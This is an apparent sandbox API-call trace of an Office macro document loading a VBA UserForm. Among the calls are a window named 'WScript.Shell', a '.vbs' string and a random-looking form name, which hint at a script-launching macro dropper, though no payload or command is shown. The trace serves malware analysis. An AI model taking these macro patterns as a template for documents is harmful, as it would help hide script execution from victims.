lpsz="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}", pclsid=0xb5690f5428 | out: pclsid=0xb5690f5428*(Data1=0xc62a69f0, Data2=0x16dc, Data3=0x11ce, Data4=([0]=0x9e, [1]=0x98, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x57, [6]=0x4a, [7]=0x4f))) returned 0x0 [0119.275] malloc (_Size=0xfa0) returned 0x276527c8290 [0119.276] lstrcpynA (in: lpString1=0xb5690f4bd0, lpString2="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}", iMaxLength=2044 | out: lpString1="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}") returned="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}" [0119.276] lstrcpynA (in: lpString1=0xb5690f43d0, lpString2="JDSUAGDFYYUGED", iMaxLength=2044 | out: lpString1="JDSUAGDFYYUGED") returned="JDSUAGDFYYUGED" [0119.276] CLSIDFromString (in: lpsz="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}", pclsid=0xb5690f4300 | out: pclsid=0xb5690f4300*(Data1=0xc62a69f0, Data2=0x16dc, Data3=0x11ce, Data4=([0]=0x9e, [1]=0x98, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x57, [6]=0x4a, [7]=0x4f))) returned 0x0 [0119.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}", cchWideChar=-1, lpMultiByteStr=0xb5690f3e60, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}", lpUsedDefaultChar=0x0) returned 0 [0119.277] InvalidateRect (hWnd=0x2036c, lpRect=0x0, bErase=0) returned 1 [0119.277] lstrlenA (lpString="JDSUAGDFYYUGED") returned 14 [0119.277] CompareStringA (Locale=0x411, dwCmpFlags=0x30001, lpString1="JDSUAGDFYYUGED", cchCount1=-1, lpString2="JDSUAGDFYYUGED", cchCount2=-1) returned 2 [0119.278] CompareStringA (Locale=0x411, dwCmpFlags=0x30001, lpString1="JDSUAGDFYYUGED", cchCount1=-1, lpString2="JDSUAGDFYYUGED", cchCount2=-1) returned 2 [0119.278] malloc (_Size=0x105) returned 0x276527c9500 [0119.278] lstrcmpiA (lpString1="Begin", lpString2="Caption") returned -1 [0119.278] lstrcmpiA (lpString1="End", lpString2="Caption") returned 1 [0119.278] lstrcpynA (in: lpString1=0xb5690f41f0, lpString2="Caption", iMaxLength=261 | out: lpString1="Caption") returned="Caption" [0119.278] malloc (_Size=0x11) returned 0x27649976e80 [0119.278] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="Caption") returned 0x407810 [0119.278] lstrcmpiA (lpString1="Begin", lpString2="ClientHeight") returned -1 [0119.278] lstrcmpiA (lpString1="End", lpString2="ClientHeight") returned 1 [0119.278] lstrcpynA (in: lpString1=0xb5690f41f0, lpString2="ClientHeight", iMaxLength=261 | out: lpString1="ClientHeight") returned="ClientHeight" [0119.278] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="ClientHeight") returned 0x407da9 [0119.278] lstrcpynA (in: lpString1=0x276527c9500, lpString2="10245", iMaxLength=261 | out: lpString1="10245") returned="10245" [0119.278] lstrlenA (lpString="10245") returned 5 [0119.278] malloc (_Size=0x6) returned 0x2764997b2a0 [0119.278] LCMapStringA (in: Locale=0x411, dwMapFlags=0x400000, lpSrcStr="10245", cchSrc=-1, lpDestStr=0x2764997b2a0, cchDest=6 | out: lpDestStr="10245") returned 6 [0119.279] atof (_String="10245") returned 0x27649970840 [0119.279] free (_Block=0x2764997b2a0) [0119.280] lstrcmpiA (lpString1="Begin", lpString2="ClientLeft") returned -1 [0119.280] lstrcmpiA (lpString1="End", lpString2="ClientLeft") returned 1 [0119.280] lstrcpynA (in: lpString1=0xb5690f41f0, lpString2="ClientLeft", iMaxLength=261 | out: lpString1="ClientLeft") returned="ClientLeft" [0119.280] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="ClientLeft") returned 0x404925 [0119.280] lstrcpynA (in: lpString1=0x276527c9500, lpString2="45", iMaxLength=261 | out: lpString1="45") returned="45" [0119.280] lstrlenA (lpString="45") returned 2 [0119.280] malloc (_Size=0x3) returned 0x2764997b330 [0119.280] LCMapStringA (in: Locale=0x411, dwMapFlags=0x400000, lpSrcStr="45", cchSrc=-1, lpDestStr=0x2764997b330, cchDest=3 | out: lpDestStr="45") returned 3 [0119.280] atof (_String="45") returned 0x27649970840 [0119.280] free (_Block=0x2764997b330) [0119.280] lstrcmpiA (lpString1="Begin", lpString2="ClientTop") returned -1 [0119.280] lstrcmpiA (lpString1="End", lpString2="ClientTop") returned 1 [0119.280] lstrcpynA (in: lpString1=0xb5690f41f0, lpString2="ClientTop", iMaxLength=261 | out: lpString1="ClientTop") returned="ClientTop" [0119.280] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="ClientTop") returned 0x409869 [0119.280] lstrcpynA (in: lpString1=0x276527c9500, lpString2="390", iMaxLength=261 | out: lpString1="390") returned="390" [0119.280] lstrlenA (lpString="390") returned 3 [0119.280] malloc (_Size=0x4) returned 0x2764997b300 [0119.280] LCMapStringA (in: Locale=0x411, dwMapFlags=0x400000, lpSrcStr="390", cchSrc=-1, lpDestStr=0x2764997b300, cchDest=4 | out: lpDestStr="390") returned 4 [0119.280] atof (_String="390") returned 0x27649970840 [0119.280] free (_Block=0x2764997b300) [0119.281] lstrcmpiA (lpString1="Begin", lpString2="ClientWidth") returned -1 [0119.281] lstrcmpiA (lpString1="End", lpString2="ClientWidth") returned 1 [0119.281] lstrcpynA (in: lpString1=0xb5690f41f0, lpString2="ClientWidth", iMaxLength=261 | out: lpString1="ClientWidth") returned="ClientWidth" [0119.281] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="ClientWidth") returned 0x4028e4 [0119.281] lstrcpynA (in: lpString1=0x276527c9500, lpString2="10095", iMaxLength=261 | out: lpString1="10095") returned="10095" [0119.281] lstrlenA (lpString="10095") returned 5 [0119.281] malloc (_Size=0x6) returned 0x2764997b200 [0119.281] LCMapStringA (in: Locale=0x411, dwMapFlags=0x400000, lpSrcStr="10095", cchSrc=-1, lpDestStr=0x2764997b200, cchDest=6 | out: lpDestStr="10095") returned 6 [0119.281] atof (_String="10095") returned 0x27649970840 [0119.281] free (_Block=0x2764997b200) [0119.281] lstrcmpiA (lpString1="Begin", lpString2="StartUpPosition") returned -1 [0119.281] lstrcmpiA (lpString1="End", lpString2="StartUpPosition") returned -1 [0119.281] lstrcpynA (in: lpString1=0xb5690f41f0, lpString2="StartUpPosition", iMaxLength=261 | out: lpString1="StartUpPosition") returned="StartUpPosition" [0119.281] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="StartUpPosition") returned 0x40fb67 [0119.281] lstrcpynA (in: lpString1=0x276527c9500, lpString2="1", iMaxLength=261 | out: lpString1="1") returned="1" [0119.281] lstrlenA (lpString="1") returned 1 [0119.281] malloc (_Size=0x2) returned 0x2764997b250 [0119.281] LCMapStringA (in: Locale=0x411, dwMapFlags=0x400000, lpSrcStr="1", cchSrc=-1, lpDestStr=0x2764997b250, cchDest=2 | out: lpDestStr="1") returned 2 [0119.281] free (_Block=0x2764997b250) [0119.281] lstrcmpiA (lpString1="Begin", lpString2="Tag") returned -1 [0119.282] lstrcmpiA (lpString1="End", lpString2="Tag") returned -1 [0119.282] lstrcpynA (in: lpString1=0xb5690f41f0, lpString2="Tag", iMaxLength=261 | out: lpString1="Tag") returned="Tag" [0119.282] malloc (_Size=0x11) returned 0x27649976ea0 [0119.282] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="Tag") returned 0x40d826 [0119.282] free (_Block=0x27649976ea0) [0119.282] lstrcmpiA (lpString1="Begin", lpString2="TypeInfoVer") returned -1 [0119.282] lstrcmpiA (lpString1="End", lpString2="TypeInfoVer") returned -1 [0119.282] lstrcpynA (in: lpString1=0xb5690f41f0, lpString2="TypeInfoVer", iMaxLength=261 | out: lpString1="TypeInfoVer") returned="TypeInfoVer" [0119.282] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="TypeInfoVer") returned 0x407334 [0119.282] lstrcpynA (in: lpString1=0x276527c9500, lpString2="15", iMaxLength=261 | out: lpString1="15") returned="15" [0119.282] lstrlenA (lpString="15") returned 2 [0119.282] malloc (_Size=0x3) returned 0x2764997b200 [0119.282] LCMapStringA (in: Locale=0x411, dwMapFlags=0x400000, lpSrcStr="15", cchSrc=-1, lpDestStr=0x2764997b200, cchDest=3 | out: lpDestStr="15") returned 3 [0119.282] free (_Block=0x2764997b200) [0119.282] lstrcmpiA (lpString1="Begin", lpString2="End") returned -1 [0119.282] lstrcmpiA (lpString1="End", lpString2="End") returned 0 [0119.282] free (_Block=0x27649976e80) [0119.283] SysStringLen (param_1=".vbs") returned 0x4 [0119.284] RegisterClassA (lpWndClass=0xb5690f3770) returned 0xc217 [0119.284] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10023aad000001e7) returned 1 [0119.300] GetClassInfoA (in: hInstance=0x7ff9bde20000, lpClassName="ThunderDFrame", lpWndClass=0xb5690f3780 | out: lpWndClass=0xb5690f3780) returned 0 [0119.300] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0119.300] RegisterClassA (lpWndClass=0xb5690f3780) returned 0xc218 [0119.300] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10023aad000001e8) returned 1 [0119.300] MonitorFromWindow (hwnd=0x401c0, dwFlags=0x2) returned 0x10001 [0119.300] GetMonitorInfoA (in: hMonitor=0x10001, lpmi=0xb5690f38d8 | out: lpmi=0xb5690f38d8) returned 1 [0119.300] SetThreadDpiAwarenessContext () returned 0x80000011 [0119.300] CreateWindowExA (dwExStyle=0x40001, lpClassName=0xc218, lpWindowName="WScript.Shell", dwStyle=0x44c80080, X=7, Y=7, nWidth=689, nHeight=722, hWndParent=0x10388, hMenu=0x0, hInstance=0x7ff9bde20000, lpParam=0x0) returned 0x1038a [0119.304] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10023aad000001e9) returned 1 [0119.304] SetThreadDpiAwarenessContext () returned 0x11 [0119.304] free (_Block=0x276527c9500) [0119.304] lstrcmpiA (lpString1="Begin", lpString2="End") returned -1 [0119.304] free (_Block=0x276527c8290) [0119.304] free (_Block=0x276527c72a0) [0119.304] CoGetClassObject (in: rclsid=0x2764997c1b8*(Data1=0xc62a69f0, Data2=0x16dc, Data3=0x11ce, Data4=([0]=0x9e, [1]=0x98, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x57, [6]=0x4a, [7]=0x4f)), dwClsContext=0x3, pvReserved=0x0, riid=0x7ff9be1d8990*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0xb5690f53c0 | out: ppv=0xb5690f53c0*=0x7ff9bd211f48) returned 0x0 [0119.311] malloc (_Size=0x50) returned 0x276527c9500 [0119.421] OleCreateFontIndirect () returned 0x0 [0119.424] CFont::SetRatio () returned 0x0 [0119.426] CFont::get_hFont () returned 0x0 [0119.445] OleCreateFontIndirect () returned 0x0 [0119.445] CFont::SetRatio () returned 0x0 [0119.445] CFont::QueryInterface () returned 0x0 [0119.635] GetWindowLongA (hWnd=0x1038a, nIndex=-20) returned 262401 [0119.635] SetWindowLongA (hWnd=0x1038a, nIndex=-20, dwNewLong=262401) returned 262401 [0119.639] LoadAcceleratorsA (hInstance=0x7ff9bde20000, lpTableName=0x3e8) returned 0xb00af [0120.094] free (_Block=0x276527c6290) [0120.094] PostMessageA (hWnd=0x1038a, Msg=0x105f, wParam=0x0, lParam=0x0) returned 1 [0120.094] GlobalHandle (pMem=0x276529e0920) returned 0x27644530158 [0120.094] GlobalUnlock (hMem=0x27644530158) returned 0 [0120.094] free (_Block=0x27649978780) [0120.094] free (_Block=0x2764997a720) [0120.094] SetFocus (hWnd=0x90050) returned 0x90050 [0120.096] GetCapture () returned 0x0 [0120.096] ShowWindow (hWnd=0x1038a, nCmdShow=0) returned 0 [0120.096] GetParent (hWnd=0x1038a) returned 0x10388 [0120.104] free (_Block=0x27649977000) [0120.104] GetWindow (hWnd=0x1038a, uCmd=0x5) returned 0x0 [0120.104] DestroyWindow (hWnd=0x1038a) returned 1 [0120.105] GetPropA (hWnd=0x1038a, lpString="VBAutomation") returned 0x0 [0120.106] GetFocus () returned 0x90050 [0120.107] free (_Block=0x27649976fc0) [0120.107] free (_Block=0x276527c9240) [0120.107] SetWindowLongA (hWnd=0x10388, nIndex=0, dwNewLong=0) returned 1234674328 [0120.107] SendMessageA (hWnd=0x201cc, Msg=0x221, wParam=0x10388, lParam=0x0) returned 0x0 [0120.107] NtdllDefWindowProc_A (hWnd=0x10388, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x1038b [0120.107] DestroyCursor (hCursor=0x1038b) returned 1 [0120.107] GetPropA (hWnd=0x10388, lpString="VBAutomation") returned 0x276527c5cb8 [0120.107] GetPropA (hWnd=0x10388, lpString="VBAutomation") returned 0x276527c5cb8 [0120.107] RemovePropA (hWnd=0x10388, lpString="VBAutomation") returned 0x276527c5cb8 [0120.108] IUnknown:Release (This=0x2764baec238) returned 0x8 [0120.108] free (_Block=0x276527c5cb0) [0120.108] free (_Block=0x276527c9c20) [0120.109] free (_Block=0x276527c5e70) [0120.109] free (_Block=0x276527c60d0) [0120.109] ITypeInfo:RemoteGetTypeAttr (in: This=0x2763c01f2f8, ppTypeAttr=0xb5690f5e60, pDummy=0x276527c9e10 | out: ppTypeAttr=0xb5690f5e60, pDummy=0x276527c9e10*=0x0) returned 0x0 [0120.109] ITypeInfo:LocalReleaseTypeAttr (This=0x2763c01f2f8) returned 0x0 [0120.110] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x27644fc9440 [0120.110] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x27644fc8d50 [0120.110] malloc (_Size=0xf0) returned 0x276527c9e20 [0120.110] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db5c0) [0120.110] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db480) [0120.110] IUnknown:Release (This=0x2763c01f2f8) returned 0x2 [0120.111] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xf8) returned 0x2764b7f87f0 [0120.111] malloc (_Size=0x60) returned 0x276527c59a0 [0120.111] malloc (_Size=0x60) returned 0x276527c5af0 [0120.111] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x27644fc91d0 [0120.111] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x27644fca280 [0120.111] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x27644fca2e0 [0120.112] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x27644fc97d0 [0120.112] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x27644fcaf10 [0120.112] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x27644fcaf40 [0120.112] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x27644fca3a0 [0120.112] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x27644fca6a0 [0120.112] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x27644fcb030 [0120.112] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x27644fcb090 [0120.112] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x27644fcb0f0 [0120.112] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x27644fbc330 [0120.112] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x27644fbed60 [0120.112] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x27644fc4ee0 [0120.113] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x27644fc50f0 [0120.113] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x27644fc6e30 [0120.113] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9db480 [0120.113] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9db5c0 [0120.113] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x27644fc6e60 [0120.114] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764ad435a0 [0120.114] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764ad43330 [0120.114] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764ad43c60 [0120.114] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764ad438d0 [0120.114] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764ad43c90 [0120.114] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764ad43390 [0120.115] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9dc3c0 [0120.115] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9de660 [0120.115] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764ae7d760 [0120.115] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764ae7de20 [0120.115] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764ae7d860 [0120.115] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764ae7dea0 [0120.115] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764ad3a210 [0120.116] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764ad3a7b0 [0120.116] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764ae7da20 [0120.116] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764ae7d8e0 [0120.117] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2764ad3af00 [0120.117] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2764ad3bdd0 [0120.117] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2764ad3df60 [0120.117] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764ad3dfc0 [0120.117] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764ae7ece0 [0120.117] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764ad3e380 [0120.117] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2764ad3efb0 [0120.118] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764ad3f0a0 [0120.118] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764ad43000 [0120.118] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764b223640 [0120.118] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x50) returned 0x2763bec3aa0 [0120.118] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x50) returned 0x2763bec5900 [0120.118] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764b223760 [0120.118] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2e) returned 0x2764ae7ffa0 [0120.118] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x34) returned 0x2764ae7f7e0 [0120.118] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764b222d10 [0120.119] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764b223d90 [0120.119] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764b223970 [0120.119] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b224c90 [0120.119] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764b224d50 [0120.119] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764b22c3a0 [0120.119] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764b22d270 [0120.119] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764b22ce80 [0120.119] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764b2320a0 [0120.120] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb034d0 [0120.120] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764ae803a0 [0120.128] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764bb035c0 [0120.128] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2764bb03a70 [0120.128] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x400) returned 0x2764b511200 [0120.128] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9de0c0 [0120.128] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9de560 [0120.128] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9de680 [0120.128] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9de6a0 [0120.128] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9de6c0 [0120.128] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9de6e0 [0120.128] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9de700 [0120.129] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9debe0 [0120.129] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9de7c0 [0120.129] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9dece0 [0120.129] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9deba0 [0120.129] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9ded40 [0120.129] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9deea0 [0120.129] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9dee60 [0120.129] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9de7e0 [0120.129] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9deca0 [0120.129] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9deda0 [0120.129] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9dec20 [0120.129] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9dea00 [0120.129] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9deec0 [0120.129] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9deb40 [0120.130] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9dea20 [0120.130] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9deb60 [0120.130] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9deb60) returned 0x10 [0120.137] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9deb60) [0120.137] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x48) returned 0x2764b8811f0 [0120.137] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b8811f0) returned 0x48 [0120.139] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b8811f0) [0120.139] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x48) returned 0x2764b8811f0 [0120.139] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b8811f0) returned 0x48 [0120.141] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b8811f0) [0120.141] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09ee0 [0120.141] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09ee0) returned 0x8 [0120.142] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09ee0) [0120.142] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9deb60 [0120.142] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9deb60) returned 0x10 [0120.143] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9deb60) [0120.143] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x40) returned 0x2764b8811f0 [0120.143] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b8811f0) returned 0x40 [0120.144] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b8811f0) [0120.144] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9deb60 [0120.144] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9deb60) returned 0x18 [0120.145] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9deb60) [0120.145] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9deb60 [0120.145] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9deb60) returned 0x10 [0120.145] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9deb60) [0120.145] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9deb60 [0120.145] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9deb60) returned 0x18 [0120.146] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9deb60) [0120.146] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09ee0 [0120.146] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09ee0) returned 0x8 [0120.147] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09ee0) [0120.147] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764b95f640 [0120.147] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b95f640) returned 0x28 [0120.147] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b95f640) [0120.147] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764b95f640 [0120.147] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b95f640) returned 0x28 [0120.148] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b95f640) [0120.148] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764b95fc70 [0120.148] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b95fc70) returned 0x28 [0120.148] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b95fc70) [0120.148] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9deb60 [0120.148] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9deb60) returned 0x10 [0120.149] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9deb60) [0120.149] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x38) returned 0x2764ae95ca0 [0120.149] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764ae95ca0) returned 0x38 [0120.151] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ae95ca0) [0120.151] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9decc0 [0120.151] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9decc0) returned 0x10 [0120.151] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9decc0) [0120.154] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb0a610 [0120.154] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb0a610) returned 0x8 [0120.154] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb0a610) [0120.155] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb0a610 [0120.155] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb0a610) returned 0x8 [0120.155] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb0a610) [0120.155] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9df740 [0120.155] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9df740) returned 0x18 [0120.156] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9df740) [0120.156] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb0a610 [0120.156] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb0a610) returned 0x8 [0120.156] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb0a610) 